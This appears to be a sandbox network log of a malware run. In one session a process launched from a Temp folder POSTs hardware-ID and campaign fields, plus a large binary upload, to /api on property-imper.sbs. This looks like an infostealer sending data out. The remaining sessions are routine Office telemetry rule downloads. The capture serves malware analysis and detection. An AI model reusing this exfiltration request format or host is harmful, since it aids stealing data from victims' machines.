2024-11-23 19:23:51 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49893	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:51 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MV9Q9D6OX0UXOBA2LT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551126 Host: property-imper.sbs
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 2d 2d 4d 56 39 51 39 44 36 4f 58 30 55 58 4f 42 41 32 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 56 39 51 39 44 36 4f 58 30 55 58 4f 42 41 32 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 56 39 51 39 44 36 4f 58 30 55 58 4f 42 41 32 4c 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --MV9Q9D6OX0UXOBA2LTContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--MV9Q9D6OX0UXOBA2LTContent-Disposition: form-data; name="pid"1--MV9Q9D6OX0UXOBA2LTContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 4f 9d f4 d2 47 24 36 18 f9 61 48 51 9a 26 0c e6 69 2a c2 1b 42 f3 5f 3a 8f 6b ff 5b d9 33 82 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 Data Ascii: OG$6aHQ&i*B_:k[3;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: a6 95 ed 3c bf c9 10 58 65 41 d0 7e 60 42 36 54 f0 4d fe e2 98 7e 14 13 64 db cd c1 84 55 b6 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 Data Ascii: <XeA~`B6TM~dU^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 69 3f 1e a3 3d b5 b4 f6 1b a2 4c a3 f2 43 1a cf 85 04 89 13 d3 22 2d 44 86 3b ae 73 17 55 80 ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 Data Ascii: i?=LC"-D;sUn(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 63 6e ce bf 15 b1 d1 af b6 6c 22 32 cb 30 95 0e 45 ca 7c ff 10 89 d9 b2 11 c4 1e 61 f0 6b 98 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e Data Ascii: cnl"20E\|ak37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 10 f9 53 be 59 3f ac 8c 53 dc c7 7b 74 4b c7 fd 32 ea 9d 84 38 52 df 0b 1e b6 ce a3 67 9f a6 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec Data Ascii: SY?S{tK28RgLUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 15 26 5d 3c 20 16 ff 9d 87 9c 1f b6 9e 83 c0 c8 01 ab 57 84 e5 81 0b de 7f 30 63 0a 6e ae 2c 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb Data Ascii: &]< W0cn,Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;Kdux
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 18 bf 78 87 99 7c 5e df 76 86 43 6a 84 7d 1f b3 ac 04 26 74 35 04 dd a4 61 1d 75 35 2d ae 9c 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 Data Ascii: x\|^vCj}&t5au5-D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ay
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: 2b 32 6a e9 9c 53 67 ef 02 77 6c c9 a5 13 1c 27 7f 2d 73 f6 b5 36 0b 83 45 36 c2 0a 0c 3c c4 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 Data Ascii: +2jSgwl'-s6E6<dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A
2024-11-23 19:23:51 UTC	15331	OUT	Data Raw: d3 08 29 02 cc ae ca fd a0 10 50 86 46 54 37 f7 8c 63 ce ed 70 72 23 4a 2e 35 c5 5b 44 23 de c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd Data Ascii: )PFT7cpr#J.5[D#dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TM
2024-11-23 19:23:54 UTC	1035	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c6lmvulsnclusss0nh9tuc4p8n; expires=Wed, 19-Mar-2025 13:10:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ccm5xBWc%2BbmMpVUXCr3aMXqTm1WnCSEt%2FuU1TJxaZHzg0qLia1nOZjL%2B39%2F4%2F%2FDzGV%2BuXl3fK%2B5XEOIpHaM0h%2BIVfDm3OobAg1DwpOp1X0MYav9qFBXgyabNQ0m%2BjupCm7d2z5w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738941faae8cd4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&sent=318&recv=562&lost=0&retrans=0&sent_bytes=2846&recv_bytes=553609&delivery_rate=1445544&cwnd=154&unsent_bytes=0&cid=498ab1e434ed9eed&ts=2845&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:52 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:52 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: ca5d4909-001e-0014-074d-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192352Z-15b8b599d88s6mj9hC1TEBur30000000033000000000k1ky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:52 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:52 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 5af92f63-c01e-00a1-4c0c-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192352Z-178bfbc474bbbqrhhC1NYCvw7400000004xg00000000nwv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:52 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:52 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192352Z-178bfbc474btvfdfhC1NYCa2en000000050g000000006fnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:52 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:53 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:53 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192353Z-178bfbc474bh5zbqhC1NYCkdug00000004r000000000n3yw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:53 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192354Z-178bfbc474bpnd5vhC1NYC4vr400000004zg000000001mh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
